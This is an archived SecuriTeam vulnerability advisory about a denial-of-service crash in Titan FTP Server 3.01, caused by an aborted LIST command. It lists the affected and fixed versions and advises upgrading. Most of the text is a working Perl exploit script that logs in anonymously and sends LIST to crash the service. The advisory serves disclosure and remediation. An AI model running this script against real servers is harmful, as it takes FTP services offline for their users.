titanDoS.txt

` Titan FTP Server Aborted LIST DoS  
----------------------------------------------------  
  
  
Article reference:  
http://www.securiteam.com/windowsntfocus/5RP0215CUU.html  
  
  
SUMMARY  
  
A security vulnerability exists in South River Technologies' Titan FTP Server.   
An attacker issuing a LIST command and disconnecting before the LIST command   
had the time to connect, will cause the program to try and access an invalid   
socket. This will result in the FTP service's crash (and in turn, no longer   
being able to service any additional users).  
  
  
DETAILS  
  
Vulnerable Systems:  
* Titan FTP Server version 3.01 build 163  
  
Immune Systems:  
* Titan FTP Server version 3.10 build 169  
  
Solution:  
To solve this issue upgrade to the latest version (3.10 build 169 or newer).  
  
Exploit:  
#!/usr/bin/perl  
# Test for Titan FTP server security vulnerability  
#  
# Orkut users? Come join the SecuriTeam community  
# http://www.orkut.com/Community.aspx?cmm=44441  
#  
use IO::Socket;  
  
$host = "192.168.1.243";  
  
my @combination;  
$combination[0] = "LIST \r\n";  
  
for (my $i = 0; $combination[$i] ; $i++)  
{  
print "Combination: $1\n";  
  
$remote = IO::Socket::INET->new ( Proto => "tcp",  
PeerAddr => $host,  
PeerPort => "2112",  
);  
unless ($remote) { die "cannot connect to ftp daemon on $host" }  
  
print "connected\n";  
while (<$remote>)  
{  
print $_;  
if (/220 /)  
{  
last;  
}  
}  
  
$remote->autoflush(1);  
  
my $ftp = "USER anonymous\r\n";  
  
print $remote $ftp;  
print $ftp;  
  
while (<$remote>)  
{  
print $_;  
if (/331 /)  
{  
last;  
}  
}  
  
$ftp = "PASS a\@b.com\r\n";  
print $remote $ftp;  
print $ftp;  
  
while (<$remote>)  
{  
print $_;  
if (/230 /)  
{  
last;  
}  
}  
  
$ftp = $combination[$i];  
  
print $remote $ftp;  
print $ftp;  
  
while (<$remote>)  
{  
print $_;  
if (/150 /)  
{  
last;  
}  
  
  
close $remote;  
}  
  
  
ADDITIONAL INFORMATION  
  
SecurITeam would like to thank <mailto:[email protected]> STORM for   
finding this vulnerability.   
  
  
  
  
Regards,   
Aviram Jenik  
Beyond Security Ltd.  
  
http://www.BeyondSecurity.com  
http://www.SecuriTeam.com  
  
The First Integrated Network and Web Application Vulnerability Scanner:  
http://www.beyondsecurity.com/webscan-wp.pdf  
  
  
  
  
====================   
====================   
  
DISCLAIMER:   
The information in this bulletin is provided "AS IS" without warranty of any   
kind.   
In no event shall we be liable for any damages whatsoever including direct,   
indirect, incidental, consequential, loss of business profits or special   
damages.   
  
`